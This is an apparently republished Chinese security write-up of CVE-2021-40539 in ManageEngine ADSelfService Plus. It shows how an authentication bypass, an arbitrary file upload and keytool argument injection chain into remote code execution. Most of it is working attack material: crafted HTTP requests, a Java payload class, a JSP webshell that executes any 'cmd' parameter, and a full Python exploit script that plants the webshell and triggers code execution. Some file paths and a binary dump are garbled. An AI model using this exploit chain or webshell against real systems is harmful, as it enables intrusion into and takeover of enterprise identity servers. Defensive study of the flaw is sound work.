身份验证绕过
从编辑的原始通信中知道可以通过 REST API 获得未经授权的访问。之前的差异表明jar中的com.manageengine.ads.fw.api.RestAPIUtil类ManageEngineADSFrameworkJava已随补丁更改。
该getNormalizedURI函数的代码如下:
这显然是一个修复路径遍历漏洞的补丁,该漏洞可能会产生严重影响。一个类似的例子是同时在 Apache httpd上应用的补丁。在当前的情况下,补丁是针对身份验证绕过的。
测试有效载荷为:
将/./有效负载发送到我们已修补和易受攻击的实例会导致服务器响应的差异
响应体表明路径遍历请求实际上绕过了认证过程。
通过API上传任意文件
ogonCustomization位于AdventNetADSMClientjar 中的类实现previewMobLogo了 Nuclei 模板的 PoC 中使用的方法。
public ActionForward previewMobLogo(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) {
public ActionForward unspecified(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception {
[...]
try {
[...]
} else if ("smartcard".equalsIgnoreCase(request.getParameter("form"))) { // we are looking for smarcard related actions
String operation = request.getParameter("operation");
SmartCardAction smartCardAction = new SmartCardAction();
if (operation.equalsIgnoreCase("Add")) { // and how to add one
request.setAttribute("CERTIFICATE_FILE", ClientUtil.getFileFromRequest(request, "CERTIFICATE_PATH"));
request.setAttribute("CERTIFICATE_NAME", ClientUtil.getUploadedFileName(request, "CERTIFICATE_PATH"));
smartCardAction.addSmartCardConfig(mapping, (ActionForm)dynForm, request, response);
对先前方法的分析可以确定在服务器上上传文件所需的参数。此请求说明了文件ManageEngineADSelfService Plusbin夹中任意文件的上传。
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 192.168.1.106:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------39411536912265220004317003537
Te: trailers
Connection: close
Content-Length: 1212
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="methodToCall"
unspecified
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="Save"
yes
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="form"
smartcard
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="operation"
Add
-----------------------------39411536912265220004317003537
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="test.txt"
Content-Type: application/octet-stream
arbitrary content
-----------------------------39411536912265220004317003537--
成功上传会导致服务器回复 404 响应代码
HTTP/1.1 404 Not Found
Content-Type: text/html;charset=UTF-8
Connection: close
Content-Length: 135536
[...]
尽管如此,还是可以确认该文件在目录中的存在。
可以将任意内容的任意文件上传到ManageEngineADSelfService Plusbin目录中。
参数注入
com.adventnet.sym.adsm.common.webclient.admin.ConnectionAction级似乎是与此相关的API端点。
public ActionForward openSSLTool(ActionMapping actionMap, ActionForm actionForm, HttpServletRequest request, HttpServletResponse response) throws Exception {
String action = request.getParameter("action");
if (action != null && action.equals("generateCSR"))
SSLUtil.createCSR(request);
return actionMap.findForward("SSLTool");
}
该openSSLTool方法接受一个actionHTTP 参数,SSLUtil.createCSR如果它等于,就会调用generateCSR。通过深入研究该方法的源代码,观察到两个未净化的参数keysize和validity,它们用于构建runCommand调用的参数:
public static JSONObject createCSR(JSONObject sslSettings) throws Exception {
[...]
StringBuilder keyCmd = new StringBuilder("..\jre\bin\keytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "); // the command is prepared
keyCmd.append(password);
keyCmd.append(" -storePass ").append(password);
String keyLength = sslSettings.optString("KEY_LENGTH", null);
if (keyLength != null && !keyLength.equals(""))
keyCmd.append(" -keysize ").append(keyLength); // first parameter
String validity = sslSettings.optString("VALIDITY", null);
if (validity != null && !validity.equals(""))
keyCmd.append(" -validity ").append(validity); // second parameter
[...]
JSONObject jStatus = new JSONObject();
String status = runCommand(keyCmd.toString()); // command is executed here
[...]
结束了该runRuntimeExec 方法(在AdventNetADSMServerjar 中)
public void runRuntimeExec() {
if (this.command == null) {
if (this.proc == null)
return;
getStdErr();
} else {
Process p = null;
String line = null;
try {
p = Runtime.getRuntime().exec(this.command);
} catch (Exception e) {
systemerr("The command could not be executed");
this.result = false;
}
boolean isPingCmd = (this.command.indexOf("RemCom") != -1);
this.result = runCommandStatus(p, isPingCmd);
}
}
总的来说,似乎可以注入启动keytoolexe的命令行。
但是使用Runtime.getRuntime().exec()可以防止从预期的目标二进制文件中转义,仍然能够注入任意参数。keytool是能够加载 Java 类,如果可以构建自己的 Java 类,通过 API 调用上传它,LogonCustomization然后可以使用它 keytool来执行它。
使用 Procmon 进行一些动态分析和对/RestAPI/Connection端点的查询可以确认keytool二进制文件的执行。
POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 43
methodToCall=openSSLTool&action=generateCSR
执行的命令如下:
..jrebinkeytool.exe -J-Duser.language=en -genkey -alias tomcat -sigalg SHA256withRSA -keyalg RSA -keypass "null" -storePass "null" -dName "CN=null, OU= null, O=null, L=null, S=null, C=null" -keystore ..jrebinSelfService.keystore
RCE:
可以通过将/./代码片段添加到 REST API 路由并执行任意文件上传来绕过身份验证过程。我们还看到可以通过注入 keytool 二进制参数来加载任意 Java 类。结合这两个问题能够获得任意代码执行。
以下执行 的 Java 代码calc.exe将用作概念证明。
import java.io.*;
public class Si{
static{
try{
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec("calc");
}catch (IOException e){}
}
}
C:ManageEngineADSelfService Plusjrebin> java -version
java version "1.8.0_162"
Java(TM) SE Runtime Environment (build 1.8.0_162-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.162-b12, mixed mode)
C:> javac Si.java
正确编译后,PoC 类可以使用LogonCustomization
端点上传到服务器
POST /./RestAPI/LogonCustomization HTTP/1.1
Host: 192.168.1.105:9251
Content-Length: 989
Content-Type: multipart/form-data; boundary=fcc62d4b058687f46994b5245a8c8e9f
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="methodToCall"
unspecified
--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="Save"
yes
--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="form"
smartcard
--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="operation"
Add
--fcc62d4b058687f46994b5245a8c8e9f
Content-Disposition: form-data; name="CERTIFICATE_PATH"; filename="ws.jsp"
7
StackMapTableLineNumberTabl<clinit>
SourceFileSi.java
calc
ava/io/IOExceptionSijava/lang/Objectjava/lang/Runtime
getRuntime()Ljava/lang/Runtime;exec'(Ljava/lang/String;)Ljava/lang/Process;!
*
IK*LK
N
--fcc62d4b058687f46994b5245a8c8e9f--
剩下的就是通过keytool.exe参数注入强制加载新上传的类。
POST /./RestAPI/Connection HTTP/1.1
Host: 192.168.1.105:9251
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 132
methodToCall=openSSLTool&action=generateCSR&KEY_LENGTH=1024+-providerclass+Si+-providerpath+"C:ManageEngineADSelfService+Plusbin"
为了更加方便,还可以利用文件上传在文件系统上编写 JSP webshell然后可以通过 Java 代码执行将其移动到 webroot 中。
import java.io.*;
public class Si{
static{
try{
Runtime rt = Runtime.getRuntime();
Process proc = rt.exec(new String[] {"cmd", "/c", "copy", "helloworld.jsp", "..\webapps\adssp\help\admin-guide\helloworld.jsp"});
}catch (IOException e){}
}
}
使用触发命令执行后keytool
webshell:
http://TARGET/help/admin-guide/helloworld.jsp
exploit.py
#!/usr/bin/env python3
import requests
import argparse
from base64 import b64decode
from io import BytesIO
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-t','--target', required=True, type=str, default=None, help='Remote Target IP Address (ex: http://192.168.10.5/)')
parser.add_argument('-w','--webshell', required=False, help='Path to jsp file to execute')
parser.add_argument('-j','--java_class', required=False, help='Path to java class to execute')
parser.add_argument('-s','--skip', required=False, default=False, action='store_true', help='Do not verify if target is vulnerable')
args = parser.parse_args()
exploit(args)
def check(args):
if not "http" in args.target:
print("Please specify schema (http/https)")
exit(1)
check_bypass_endpoint = "/./RestAPI/LogonCustomization"
chek_url = args.target + check_bypass_endpoint
s = requests.Session()
data = {"methodToCall":"previewMobLogo"}
req = requests.Request(url=chek_url, method='POST', data=data)
prep = req.prepare()
prep.url = chek_url
try:
response = s.send(prep, verify=False)
except Exception as e:
print(e)
exit(1)
if '<script type="text/javascript">var d = new Date();' in response.text:
print("[+] Target is vulnerable!")
return
else:
print("[-] Target doesn't seem vulnerable")
exit(1)
def exploit(args):
if not args.skip:
check(args)
upload_jsp(args)
upload_java_class(args)
execute_rce(args)
# optionnal
verify_webshell(args)
def upload_jsp(args):
upload_url = args.target + "/./RestAPI/LogonCustomization"
if args.webshell:
files = {'CERTIFICATE_PATH': ('ws.jsp', open(args.webshell, 'r'))}
else:
webshell = """<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
"""
files = {'CERTIFICATE_PATH': ('ws.jsp', webshell)}
data = {"methodToCall":"unspecified", "Save":"yes","form":"smartcard","operation":"Add"}
s = requests.Session()
req = requests.Request(url=upload_url, method='POST', files=files, data=data)
prep = req.prepare()
prep.url = upload_url
response = s.send(prep, verify=False)
if response.status_code == 404:
print("[+] Webshell successfully uploaded")
else:
print("[-] Can't upload webshell")
exit(1)
def upload_java_class(args):
upload_url = args.target + "/./RestAPI/LogonCustomization"
if args.java_class:
files = {'CERTIFICATE_PATH': ('Si.class', open(args.java_class, 'rb'))}
else:
java1_8_payload_b64 = "yv66vgAAADQAKAoADAAWCgAXABgHABkIABoIABsIABwIAB0IAB4KABcAHwcAIAcAIQcAIgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACABAApTb3VyY2VGaWxlAQAHU2kuamF2YQwADQAOBwAjDAAkACUBABBqYXZhL2xhbmcvU3RyaW5nAQADY21kAQACL2MBAARjb3B5AQAGd3MuanNwAQAqLi5cd2ViYXBwc1xhZHNzcFxoZWxwXGFkbWluLWd1aWRlXHRlc3QuanNwDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQACU2kBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQALAAwAAAAAAAIAAQANAA4AAQAPAAAAHQABAAEAAAAFKrcAAbEAAAABABAAAAAGAAEAAAACAAgAEQAOAAEADwAAAGQABQACAAAAK7gAAksqCL0AA1kDEgRTWQQSBVNZBRIGU1kGEgdTWQcSCFO2AAlMpwAES7EAAQAAACYAKQAKAAIAEAAAABIABAAAAAUABAAGACYABwAqAAgAEgAAAAcAAmkHABMAAAEAFAAAAAIAFQ=="
files = {'CERTIFICATE_PATH': ('Si.class', BytesIO(b64decode(java1_8_payload_b64)))}
data = {"methodToCall":"unspecified", "Save":"yes","form":"smartcard","operation":"Add"}
s = requests.Session()
req = requests.Request(url=upload_url, method='POST', files=files, data=data)
prep = req.prepare()
prep.url = upload_url
response = s.send(prep, verify=False)
if response.status_code == 404:
print("[+] Java Class successfully uploaded")
else:
print("[-] Can't upload Java Class")
exit(1)
def execute_rce(args):
rce_url = args.target + "/./RestAPI/Connection"
s = requests.Session()
data = {"methodToCall":"openSSLTool","action":"generateCSR","KEY_LENGTH":'1024 -providerclass Si -providerpath "..\bin"'}
req = requests.Request(url=rce_url, method='POST', data=data)
prep = req.prepare()
prep.url = rce_url
response = s.send(prep, verify=False)
if response.status_code == 404:
print("[+] Got expected response code to trigger RCE")
else:
print("[-] Can't trigger RCE from Java Class")
print("Server replied with status code {}".format(response.status_code))
exit(1)
def verify_webshell(args):
webshell_url = args.target + "/help/admin-guide/test.jsp"
response = requests.post(webshell_url, data={"cmd":'powershell "whoami"'}, verify=False)
try:
if(response.status_code == 404):
print("Can't find webshell")
else:
print(response.text)
print("[+] Webshell successfully upload.")
print("[+] Find it on {}".format(webshell_url))
except:
print("Can't parse response")
print(response.status_code)
print(response.text)
if __name__ == '__main__':
main()
原文始发于微信公众号(Khan安全攻防实验室):CVE-2021-40539 ManageEngine ADManager Plus 未授权访问RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论